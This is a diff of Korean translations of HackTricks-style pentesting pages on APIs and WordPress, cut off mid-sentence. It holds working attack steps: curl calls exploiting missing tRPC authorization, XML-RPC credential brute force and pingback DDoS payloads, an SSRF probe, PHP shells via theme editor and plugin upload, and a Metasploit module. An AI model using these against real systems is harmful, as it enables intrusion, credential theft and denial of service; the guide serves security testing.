실습을 위한 의도적으로 취약한 API로, OWASP top 10 API 취약점을 다룬다. -### **API 침투 테스트를 위한 효과적인 요령** +### **API Pentesting을 위한 효과적인 트릭** -- **SOAP/XML 취약점**: XXE 취약점을 탐색하되, DTD 선언은 종종 제한됩니다. XML이 유효한 경우 CDATA 태그를 통해 페이로드 삽입이 가능할 수 있습니다. -- **권한 상승**: 다양한 권한 수준으로 엔드포인트를 테스트하여 무단 접근 가능성을 식별합니다. -- **CORS 잘못 구성**: 인증된 세션에서 CSRF 공격을 통한 잠재적 악용 가능성을 조사하기 위해 CORS 설정을 확인합니다. -- **엔드포인트 발견**: API 패턴을 활용하여 숨겨진 엔드포인트를 발견합니다. 퍼저와 같은 도구를 사용하여 이 과정을 자동화할 수 있습니다. -- **매개변수 변조**: 요청에서 매개변수를 추가하거나 교체하여 무단 데이터 또는 기능에 접근해 봅니다. -- **HTTP 메서드 테스트**: 요청 메서드(GET, POST, PUT, DELETE, PATCH)를 변경하여 예상치 못한 동작이나 정보 유출을 발견합니다. -- **Content-Type 조작**: 서로 다른 콘텐츠 유형(x-www-form-urlencoded, application/xml, application/json) 간에 전환하여 파싱 문제나 취약점을 테스트합니다. -- **고급 매개변수 기술**: JSON 페이로드에서 예상치 못한 데이터 유형으로 테스트하거나 XML 데이터를 가지고 XXE 주입을 시도합니다. 또한 매개변수 오염 및 와일드카드 문자를 사용하여 더 넓은 테스트를 시도합니다. -- **버전 테스트**: 이전 API 버전은 공격에 더 취약할 수 있습니다. 항상 여러 API 버전에 대해 확인하고 테스트합니다. +- **SOAP/XML Vulnerabilities**: DTD 선언은 종종 제한되지만, XML이 유효하다면 CDATA 태그가 페이로드 삽입을 허용할 수 있어 XXE 취약점을 탐색해보라. +- **Privilege Escalation**: 권한 수준이 다른 계정으로 엔드포인트를 테스트해 무단 접근 가능성을 확인하라. +- **CORS Misconfigurations**: 인증된 세션에서 CSRF 공격을 통해 악용될 수 있는지 CORS 설정을 조사하라. +- **Endpoint Discovery**: API 패턴을 활용해 숨겨진 엔드포인트를 찾아라. fuzzers 같은 도구가 이 과정을 자동화할 수 있다. +- **Parameter Tampering**: 요청에 파라미터를 추가하거나 교체해 무단 데이터 또는 기능에 접근할 수 있는지 실험해보라. +- **HTTP Method Testing**: 요청 메서드(GET, POST, PUT, DELETE, PATCH)를 변경해 예상치 못한 동작이나 정보 누출을 찾아라. +- **Content-Type Manipulation**: 다양한 content type(x-www-form-urlencoded, application/xml, application/json)을 오가며 파싱 문제나 취약점을 테스트하라. +- **Advanced Parameter Techniques**: JSON 페이로드에 예상치 못한 데이터 타입을 넣어보거나 XXE 주입을 위해 XML 데이터를 조작해보라. 또한 parameter pollution과 와일드카드 문자를 시도해 광범위한 테스트를 수행하라. +- **Version Testing**: 오래된 API 버전이 더 취약할 수 있다. 항상 여러 API 버전을 확인하고 테스트하라. -### **API 침투 테스트를 위한 도구 및 리소스** +### 권한 및 비즈니스 로직 (AuthN != AuthZ) — tRPC/Zod protectedProcedure pitfalls -- [**kiterunner**](https://github.com/assetnote/kiterunner): API 엔드포인트 발견에 탁월합니다. 이를 사용하여 대상 API에 대한 경로 및 매개변수를 스캔하고 무차별 대입합니다. +현대 TypeScript 스택은 입력 검증을 위해 tRPC와 Zod를 흔히 사용한다. tRPC에서 `protectedProcedure`는 일반적으로 요청이 유효한 세션(인증)을 가졌는지 확인하지만, 호출자가 적절한 역할/권한(인가)을 갖추었는지는 보장하지 않는다. 이 불일치는 민감한 절차가 단지 `protectedProcedure`로만 제한될 경우 Broken Function Level Authorization/BOLA로 이어질 수 있다. + +- Threat model: 역할 검사가 없으면 권한이 낮은 인증 사용자라도 admin-grade 절차를 호출할 수 있다(예: background migrations, feature flags, tenant-wide maintenance, job control). +- Black-box signal: `POST /api/trpc/.` 엔드포인트가 기본 계정으로도 성공하는 경우 — 관리 전용이어야 한다. Self-serve signups는 exploitability를 크게 증가시킨다. +- Typical tRPC route shape (v10+): JSON body가 `{"input": {...}}` 형태로 래핑된다. + +Example vulnerable pattern (no role/permission gate): +```ts +// The endpoint for retrying a migration job +// This checks for a valid session (authentication) +retry: protectedProcedure +// but not for an admin role (authorization). +.input(z.object({ name: z.string() })) +.mutation(async ({ input, ctx }) => { +// Logic to restart a sensitive migration +}), +``` +실전 exploitation (black-box) + +1) 일반 계정을 등록하고 인증된 세션을 획득합니다 (cookies/headers). +2) “list”/“all”/“status” 절차를 통해 백그라운드 작업 또는 기타 민감한 리소스를 열거합니다. +```bash +curl -s -X POST 'https:///api/trpc/backgroundMigrations.all' \ +-H 'Content-Type: application/json' \ +-b '' \ +--data '{"input":{}}' +``` +3) 작업 재시작과 같은 권한 있는 작업을 호출: +```bash +curl -s -X POST 'https:///api/trpc/backgroundMigrations.retry' \ +-H 'Content-Type: application/json' \ +-b '' \ +--data '{"input":{"name":""}}' +``` +Impact to assess + +- 비멱등 재시작으로 인한 데이터 손상: 마이그레이션/워커의 동시 실행을 강제하면 경쟁 상태(race conditions)와 불일치한 부분 상태(무음 데이터 손실, 분석 결과 손상)를 초래할 수 있습니다. +- DoS via worker/DB 고갈: 무거운 작업을 반복적으로 트리거하면 워커 풀과 데이터베이스 연결이 소진되어 테넌트 전체 장애를 일으킬 수 있습니다. + +### **API Pentesting을 위한 도구 및 자료** + +- [**kiterunner**](https://github.com/assetnote/kiterunner): API 엔드포인트 발견에 매우 유용합니다. 대상 API에 대해 경로와 파라미터를 스캔하고 brute force로 시도해 보세요. ```bash kr scan https://domain.com/api/ -w routes-large.kite -x 20 kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20 kr brute https://domain.com/api/ -A=raft-large-words -x 20 -d=0 kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0 ``` -- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj는 관련 API 엔드포인트의 약한 인증을 확인하여 **노출된 Swagger/OpenAPI 정의 파일**의 감사를 지원하도록 설계된 명령줄 도구입니다. 또한 수동 취약점 테스트를 위한 명령 템플릿을 제공합니다. -- **automatic-api-attack-tool**, **Astra**, **restler-fuzzer**와 같은 추가 도구는 공격 시뮬레이션에서 퍼징 및 취약점 스캐닝에 이르기까지 API 보안 테스트를 위한 맞춤형 기능을 제공합니다. -- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): OAS 파일을 기반으로 API를 감사하는 API 보안 도구입니다(이 도구는 Rust로 작성됨). +- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj는 관련 API 엔드포인트의 약한 인증을 확인하여 **exposed Swagger/OpenAPI definition files**의 감사를 돕도록 설계된 명령줄 도구입니다. 또한 수동 취약점 테스트용 커맨드 템플릿을 제공합니다. +- Additional tools like **automatic-api-attack-tool**, **Astra**, and **restler-fuzzer** offer tailored functionalities for API security testing, ranging from attack simulation to fuzzing and vulnerability scanning. +- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): Cherrybomb는 OAS 파일을 기반으로 API를 감사하는 API 보안 도구입니다(도구는 rust로 작성됨). -### **학습 및 연습 자료** +### **학습 및 실습 자료** -- **OWASP API Security Top 10**: 일반적인 API 취약점을 이해하는 데 필수적인 읽기 자료입니다 ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)). -- **API Security Checklist**: API 보안을 위한 포괄적인 체크리스트입니다 ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)). -- **Logger++ Filters**: API 취약점을 탐색하기 위해 Logger++는 유용한 필터를 제공합니다 ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)). -- **API Endpoints List**: 테스트 목적으로 사용할 수 있는 잠재적인 API 엔드포인트의 선별된 목록입니다 ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)). +- **OWASP API Security Top 10**: 일반적인 API 취약점을 이해하는 데 필수 자료 ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)). +- **API Security Checklist**: API를 보호하기 위한 포괄적인 체크리스트 ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)). +- **Logger++ Filters**: API 취약점 탐색을 위해 Logger++는 유용한 필터를 제공합니다 ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)). +- **API Endpoints List**: 테스트용 잠재 API 엔드포인트를 선별한 목록 ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)). -## References +## 참고 자료 - [https://github.com/Cyber-Guy1/API-SecurityEmpire](https://github.com/Cyber-Guy1/API-SecurityEmpire) +- [How An Authorization Flaw Reveals A Common Security Blind Spot: CVE-2025-59305 Case Study](https://www.depthfirst.com/post/how-an-authorization-flaw-reveals-a-common-security-blind-spot-cve-2025-59305-case-study) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index 7923f364d..db95450c8 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -4,49 +4,49 @@ ## 기본 정보 -- **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` -- **Themes files can be found in /wp-content/themes/,** so if you change some php of the theme to get RCE you probably will use that path. For example: Using **theme twentytwelve** you can **access** the **404.php** file in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **Uploaded** 파일은 다음 위치에 저장됩니다: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` +- **테마 파일은 /wp-content/themes/에서 찾을 수 있습니다,** 따라서 테마의 php를 변경하여 RCE를 얻으려는 경우 일반적으로 해당 경로를 사용하게 됩니다. 예: **theme twentytwelve**를 사용하면 다음에서 **404.php** 파일에 접근할 수 있습니다: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) -- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **또 다른 유용한 URL:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) -- **wp-config.php** 파일에서 데이터베이스의 루트 비밀번호를 찾을 수 있습니다. -- 기본 로그인 경로(확인할 것): _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ +- `wp-config.php` 파일에서 데이터베이스 루트 비밀번호를 찾을 수 있습니다. +- 확인할 기본 로그인 경로: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ -### **주요 WordPress 파일** +### **Main WordPress Files** - `index.php` -- `license.txt`에는 설치된 WordPress 버전 등 유용한 정보가 포함되어 있습니다. -- `wp-activate.php`는 새 WordPress 사이트 설정 시 이메일 활성화 과정에 사용됩니다. -- 로그인 폴더 (숨기기 위해 이름이 변경되었을 수 있음): +- `license.txt`에는 설치된 WordPress 버전과 같은 유용한 정보가 포함되어 있습니다. +- `wp-activate.php`는 새로운 WordPress 사이트를 설정할 때 이메일 활성화 과정에 사용됩니다. +- 로그인 폴더(숨기기 위해 이름이 변경될 수 있음): - `/wp-admin/login.php` - `/wp-admin/wp-login.php` - `/login.php` - `/wp-login.php` -- `xmlrpc.php`는 HTTP를 전송 메커니즘으로, XML을 인코딩 메커니즘으로 사용해 데이터를 전송할 수 있게 하는 WordPress 기능을 나타내는 파일입니다. 이 유형의 통신은 WordPress의 [REST API](https://developer.wordpress.org/rest-api/reference)로 대체되었습니다. -- `wp-content` 폴더는 플러그인과 테마가 저장되는 주요 디렉토리입니다. -- `wp-content/uploads/` 는 플랫폼에 업로드된 모든 파일이 저장되는 디렉토리입니다. -- `wp-includes/`는 인증서, 글꼴, JavaScript 파일, 위젯 등 핵심 파일이 저장되는 디렉토리입니다. -- `wp-sitemap.xml` WordPress 5.5 이상 버전에서는 공개 포스트와 공개적으로 쿼리 가능한 포스트 타입 및 분류(taxonomies)를 포함한 sitemap XML 파일을 생성합니다. +- `xmlrpc.php`는 HTTP를 전송 메커니즘으로, XML을 인코딩 메커니즘으로 사용하여 데이터를 전송할 수 있게 해주는 WordPress 기능을 나타내는 파일입니다. 이러한 종류의 통신은 WordPress의 [REST API](https://developer.wordpress.org/rest-api/reference)로 대체되었습니다. +- `wp-content` 폴더는 플러그인과 테마가 저장되는 주요 디렉터리입니다. +- `wp-content/uploads/`는 플랫폼에 업로드된 모든 파일이 저장되는 디렉터리입니다. +- `wp-includes/`는 인증서, 글꼴, JavaScript 파일 및 위젯과 같은 핵심 파일이 저장되는 디렉터리입니다. +- `wp-sitemap.xml` WordPress 5.5 이상 버전에서는 모든 공개 게시물 및 공개적으로 쿼리 가능한 포스트 타입과 분류(taxonomies)를 포함한 sitemap XML 파일을 생성합니다. -**Post exploitation** +Post exploitation -- `wp-config.php` 파일에는 데이터베이스 이름, 데이터베이스 호스트, 사용자명과 비밀번호, 인증 키 및 솔트, 데이터베이스 테이블 접두사 등 WordPress가 데이터베이스에 연결하는 데 필요한 정보가 들어 있습니다. 이 설정 파일은 또한 문제 해결 시 유용한 DEBUG 모드를 활성화하는 데 사용할 수 있습니다. +- `wp-config.php` 파일에는 데이터베이스 이름, 데이터베이스 호스트, 사용자명 및 비밀번호, 인증 키와 솔트, 데이터베이스 테이블 접두사 등 WordPress가 데이터베이스에 연결하는 데 필요한 정보가 포함되어 있습니다. 이 구성 파일은 또한 DEBUG 모드를 활성화하는 데 사용될 수 있으며, 문제 해결 시 유용합니다. ### 사용자 권한 - **Administrator** -- **Editor**: 자신의 및 다른 사람의 게시물을 발행하고 관리합니다 -- **Author**: 자신의 게시물을 발행하고 관리합니다 -- **Contributor**: 작성하고 자신의 게시물을 관리할 수 있으나 게시할 수는 없습니다 -- **Subscriber**: 게시물을 열람하고 프로필을 수정합니다 +- **Editor**: 게시하고 자신의 및 타인의 게시물을 관리합니다 +- **Author**: 자신의 게시물을 게시하고 관리합니다 +- **Contributor**: 게시물을 작성하고 관리할 수 있으나 게시할 수는 없습니다 +- **Subscriber**: 게시물을 열람하고 자신의 프로필을 편집할 수 있습니다 -## **수동 열거** +## **Passive Enumeration** ### **WordPress 버전 확인** 파일 `/license.txt` 또는 `/readme.html`을 찾을 수 있는지 확인하세요. -페이지의 **소스 코드** 안에서 (예: [https://wordpress.org/support/article/pages/]): +페이지의 **소스 코드** 안에서 (예: [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): - grep ```bash @@ -72,7 +72,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ```bash curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` -### 일반적인 버전 추출 +### 일반적으로 버전 추출하기 ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 @@ -81,7 +81,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ### 플러그인 및 테마 -모든 플러그인 및 테마를 전부 찾을 수는 없을 것입니다. 그들을 모두 발견하려면 **actively Brute Force a list of Plugins and Themes** 해야 합니다 (운 좋게도 이러한 목록을 포함한 자동화 도구들이 있습니다). +아마 모든 플러그인과 테마를 찾을 수는 없습니다. 모두 찾으려면 **적극적으로 Brute Force하여 플러그인 및 테마 목록을 조사해야 합니다** (운이 좋다면 이러한 목록을 포함한 자동화 도구가 있습니다). ### 사용자 @@ -89,25 +89,25 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ```bash curl -s -I -X GET http://blog.example.com/?author=1 ``` -응답이 **200** 또는 **30X**이면 해당 id가 **유효**합니다. 응답이 **400**이면 id가 **무효**입니다. +응답이 **200** 또는 **30X**이면 해당 id가 **유효**하다는 의미입니다. 응답이 **400**이면 id가 **무효**입니다. -- **wp-json:** 사용자 정보를 쿼리해 얻어볼 수도 있습니다: +- **wp-json:** 쿼리하여 사용자에 대한 정보를 얻어볼 수도 있습니다: ```bash curl http://blog.example.com/wp-json/wp/v2/users ``` -사용자에 대한 일부 정보를 드러낼 수 있는 또 다른 `/wp-json/` 엔드포인트는: +사용자에 대한 일부 정보를 노출할 수 있는 또 다른 `/wp-json/` endpoint는: ```bash curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` -이 엔드포인트는 게시물을 작성한 사용자만 노출합니다. **이 기능이 활성화된 사용자에 대한 정보만 제공됩니다**. +Note that this endpoint only exposes users that have made a post. **Only information about the users that has this feature enable will be provided**. -또한 **/wp-json/wp/v2/pages**가 IP 주소를 leak할 수 있다는 점에 유의하세요. +또한 **/wp-json/wp/v2/pages**는 IP 주소를 leak할 수 있습니다. -- **Login username enumeration**: 로그인 시 **`/wp-login.php`**의 **메시지**가 **서로 다르며** **사용자명 존재 여부**를 나타냅니다. +- **Login username enumeration**: 로그인 시 **`/wp-login.php`**의 **메시지**는 지정한 **username**의 존재 여부에 따라 **다릅니다**. ### XML-RPC -`xml-rpc.php`가 활성화되어 있으면 credentials brute-force를 수행하거나 이를 사용하여 다른 리소스에 DoS 공격을 실행할 수 있습니다. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example). +If `xml-rpc.php` is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example). 활성화 여부를 확인하려면 _**/xmlrpc.php**_에 접근해 다음 요청을 보내보세요: @@ -122,7 +122,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL **Credentials Bruteforce** -**`wp.getUserBlogs`**, **`wp.getCategories`** 또는 **`metaWeblog.getUsersBlogs`** 는 credentials을 brute-force하는 데 사용할 수 있는 몇 가지 메서드입니다. 만약 이들 중 하나를 찾을 수 있다면 다음과 같은 요청을 보낼 수 있습니다: +**`wp.getUserBlogs`**, **`wp.getCategories`** 또는 **`metaWeblog.getUsersBlogs`**는 credentials를 brute-force하는 데 사용할 수 있는 방법들 중 일부입니다. 만약 그 중 하나를 찾을 수 있다면 다음과 같은 요청을 보낼 수 있습니다: ```html wp.getUsersBlogs @@ -132,13 +132,13 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` -자격 증명이 유효하지 않을 경우 200 코드 응답 내에 _"Incorrect username or password"_ 메시지가 표시되어야 합니다. +credentials가 유효하지 않은 경우 200 응답 코드 내에 _"Incorrect username or password"_ 메시지가 표시되어야 합니다. ![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) ![](<../../images/image (721).png>) -올바른 자격 증명을 사용하면 파일을 업로드할 수 있습니다. 응답에 경로가 표시됩니다 ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) +올바른 credentials를 사용하면 파일을 업로드할 수 있습니다. 응답에는 경로가 표시됩니다 ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) ```html @@ -168,18 +168,18 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` -또한 같은 요청에서 여러 credentials를 시도할 수 있기 때문에 **`system.multicall`**을 사용해 credentials를 더 빠르게 brute-force할 수 있습니다: +또한 동일한 요청에서 여러 credentials를 시도할 수 있기 때문에 **`system.multicall`**을 사용해 credentials를 brute-force하는 **더 빠른 방법**이 있습니다:
-**Bypass 2FA** +**2FA 우회** -이 방법은 사람을 위한 것이 아니라 프로그램용으로 오래된 방식이어서 2FA를 지원하지 않습니다. 따라서 유효한 creds가 있지만 메인 진입이 2FA로 보호되어 있다면, **xmlrpc.php를 악용해 해당 creds로 로그인하여 2FA를 우회할 수 있을지도 모릅니다**. 콘솔을 통해 할 수 있는 모든 작업을 수행할 수는 없지만, Ippsec가 [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)에서 설명하는 것처럼 여전히 RCE에 도달할 수 있습니다. +이 방법은 사람을 위한 것이 아니라 프로그램용으로 만들어진 오래된 방식이기 때문에 2FA를 지원하지 않습니다. 따라서 유효한 creds가 있지만 메인 로그인에 2FA가 걸려 있다면, **xmlrpc.php를 악용해 해당 creds로 2FA를 우회하여 로그인할 수 있을지도 모릅니다**. 콘솔에서 할 수 있는 모든 작업을 수행할 수는 없지만, Ippsec가 [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)에서 설명하듯 여전히 RCE에 도달할 수 있을지도 모릅니다. -**DDoS or port scanning** +**DDoS 또는 port scanning** -If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\ -This can be used to ask **thousands** of Wordpress **sites** to **access** one **location** (so a **DDoS** is caused in that location) or you can use it to make **Wordpress** lo **scan** some internal **network** (you can indicate any port). +목록에서 _**pingback.ping**_ 메서드를 찾을 수 있다면 Wordpress가 임의의 호스트/포트로 요청을 보내게 만들 수 있습니다.\ +이것은 **수천**의 Wordpress **사이트**에게 한 **대상**에 **접근**하도록 요청하여 해당 위치에서 **DDoS**를 발생시키거나, Wordpress로 내부 **네트워크**를 **scan**하게 만들 수 있습니다(임의의 포트를 지정할 수 있음). ```html pingback.ping @@ -191,9 +191,9 @@ This can be used to ask **thousands** of Wordpress **sites** to **access** one * ``` ![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png) -값이 **0** (17)보다 큰 **faultCode**를 받으면 포트가 열려 있다는 의미입니다. +**0** (17)보다 **큰** 값을 가진 **faultCode**를 받으면, 포트가 열려 있다는 뜻입니다. -이 방법을 악용해 DDoS를 일으키는 방법은 이전 섹션의 **`system.multicall`** 사용 예를 참조하세요. +이 방법을 악용해 DDoS를 발생시키는 방법을 배우려면 이전 섹션에서 **`system.multicall`**의 사용을 확인하세요. **DDoS** ```html @@ -209,15 +209,15 @@ This can be used to ask **thousands** of Wordpress **sites** to **access** one * ### wp-cron.php DoS -이 파일은 일반적으로 Wordpress 사이트의 루트에 존재합니다: **`/wp-cron.php`**\ -이 파일에 **접근되면** "**무거운**" MySQL **쿼리**가 수행되므로, 공격자가 이를 이용해 **DoS**를 **유발**할 수 있습니다.\ -또한 기본적으로 `wp-cron.php`는 모든 페이지 로드(클라이언트가 Wordpress 페이지를 요청할 때마다)마다 호출되므로, 트래픽이 많은 사이트에서는 문제(DoS)를 일으킬 수 있습니다. +This file usually exists under the root of the Wordpress site: **`/wp-cron.php`**\ +When this file is **접근되면** a "**무거운**" MySQL **query** is performed, so I could be used by **공격자** to **cause** a **DoS**.\ +Also, by default, the `wp-cron.php` is called on every page load (anytime a client requests any Wordpress page), which on high-traffic sites can cause problems (DoS). -Wp-Cron을 비활성화하고 호스트 내에서 실제 cronjob을 만들어 필요한 작업을 정기적으로 수행하도록 하는 것이 권장됩니다(문제 없이). +It is recommended to disable Wp-Cron and create a real cronjob inside the host that perform the needed actions in a regular interval (without causing issues). ### /wp-json/oembed/1.0/proxy - SSRF -다음 URL에 접근을 시도해보세요: _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ 그리고 Worpress 사이트가 여러분에게 요청을 보낼 수 있습니다. +Try to access _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ and the Worpress site may make a request to you. This is the response when it doesn't work: @@ -230,32 +230,32 @@ This is the response when it doesn't work: https://github.com/t0gu/quickpress/blob/master/core/requests.go {{#endref}} -이 도구는 **methodName: pingback.ping**과 경로 **/wp-json/oembed/1.0/proxy**가 있는지 확인하고, 존재하면 이를 악용하려 시도합니다. +This tool checks if the **methodName: pingback.ping** and for the path **/wp-json/oembed/1.0/proxy** and if exists, it tries to exploit them. -## 자동 도구 +## 자동화 도구 ```bash cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0" wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs) #You can try to bruteforce the admin user using wpscan with "-U admin" ``` -## bit를 덮어써서 접근 얻기 +## 비트 덮어쓰기로 접근 획득 -실제 공격이라기보다는 호기심에 가까운 사례다. CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man)에서 임의의 wordpress 파일의 1 bit를 뒤집을 수 있었다. 그래서 파일 `/var/www/html/wp-includes/user.php`의 위치 `5389`를 뒤집어 NOT (`!`) 연산을 NOP로 만들 수 있었다. +실제 공격이라기보다는 호기심에 가까운 사례입니다. CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man)에서는 모든 wordpress 파일에서 1비트를 뒤집을 수 있었습니다. 따라서 파일 `/var/www/html/wp-includes/user.php`의 위치 `5389`의 비트를 뒤집어 NOT (`!`) 연산을 NOP로 만들 수 있었습니다. ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( ``` ## **Panel RCE** -**사용 중인 테마의 php 수정 (admin credentials needed)** +**사용된 테마의 php 수정 (관리자 자격 증명 필요)** Appearance → Theme Editor → 404 Template (오른쪽에 있음) -php shell의 내용으로 변경: +php shell용으로 내용을 변경하세요: ![](<../../images/image (384).png>) -업데이트된 페이지에 어떻게 접근하는지 인터넷에서 찾아보세요. 이 경우에는 여기로 접근해야 합니다: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +업데이트된 페이지에 어떻게 접근하는지 인터넷에서 찾아보세요. 이 경우 다음 주소로 접근하면 됩니다: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) ### MSF @@ -263,22 +263,22 @@ php shell의 내용으로 변경: ```bash use exploit/unix/webapp/wp_admin_shell_upload ``` -to get a session. +세션을 얻기 위해. ## Plugin RCE -### PHP 플러그인 +### PHP plugin -플러그인으로 .php 파일을 업로드할 수 있을지도 모릅니다.\ +.php 파일을 plugin으로 업로드할 수 있을 수도 있습니다.\ 예를 들어 다음과 같이 php backdoor를 만드세요: ![](<../../images/image (183).png>) -그런 다음 새 플러그인을 추가합니다: +그런 다음 새 plugin을 추가하세요: ![](<../../images/image (722).png>) -플러그인을 업로드하고 'Install Now'을 누르세요: +plugin을 업로드하고 Install Now를 누르세요: ![](<../../images/image (249).png>) @@ -286,44 +286,44 @@ Procced를 클릭하세요: ![](<../../images/image (70).png>) -아마도 눈에 띄는 변화는 없을 수 있지만, Media로 가면 업로드된 shell을 볼 수 있습니다: +아마도 아무 일도 일어나지 않는 것처럼 보이지만, Media로 이동하면 업로드된 shell을 볼 수 있습니다: ![](<../../images/image (462).png>) -접근하면 reverse shell을 실행할 URL을 볼 수 있습니다: +해당 항목에 접근하면 reverse shell을 실행할 수 있는 URL을 볼 수 있습니다: ![](<../../images/image (1006).png>) ### Uploading and activating malicious plugin -이 방법은 알려진 취약점이 있는 악성 플러그인을 설치하여 web shell을 얻을 수 있는 방법입니다. 이 과정은 WordPress 대시보드를 통해 다음과 같이 수행됩니다: +이 방법은 취약한 것으로 알려진 악성 plugin을 설치하여 web shell을 얻을 수 있도록 하는 절차입니다. 이 과정은 WordPress dashboard를 통해 다음과 같이 수행됩니다: -1. **Plugin Acquisition**: 플러그인은 Exploit DB와 같은 출처(예: [**here**](https://www.exploit-db.com/exploits/36374))에서 입수합니다. +1. **Plugin Acquisition**: 해당 plugin은 Exploit DB와 같은 출처에서 획득합니다(예: [**here**](https://www.exploit-db.com/exploits/36374)). 2. **Plugin Installation**: -- WordPress 대시보드로 이동한 다음 `Dashboard > Plugins > Upload Plugin`으로 갑니다. -- 다운로드한 플러그인의 zip 파일을 업로드합니다. -3. **Plugin Activation**: 플러그인이 성공적으로 설치되면 대시보드를 통해 활성화해야 합니다. +- WordPress dashboard로 이동한 뒤 `Dashboard > Plugins > Upload Plugin`로 갑니다. +- 다운로드한 plugin의 zip 파일을 업로드합니다. +3. **Plugin Activation**: plugin이 성공적으로 설치되면 dashboard에서 활성화해야 합니다. 4. **Exploitation**: -- "reflex-gallery" 플러그인이 설치되고 활성화되면 취약점을 이용해 익스플로잇할 수 있습니다. -- Metasploit framework는 이 취약점에 대한 익스플로잇을 제공합니다. 적절한 모듈을 로드하고 특정 명령을 실행하면 meterpreter session을 수립하여 사이트에 대한 무단 접근을 얻을 수 있습니다. -- 이는 WordPress 사이트를 악용하는 여러 방법 중 하나일 뿐입니다. +- "reflex-gallery" plugin이 설치·활성화된 상태라면 취약점이 알려져 있어 악용될 수 있습니다. +- Metasploit framework는 이 취약점에 대한 exploit을 제공합니다. 적절한 모듈을 로드하고 특정 명령을 실행하면 meterpreter session을 확보하여 사이트에 무단 접근할 수 있습니다. +- 이는 WordPress 사이트를 악용하는 여러 방법 중 하나에 불과하다는 점에 유의하세요. -해당 내용에는 플러그인을 설치하고 활성화하는 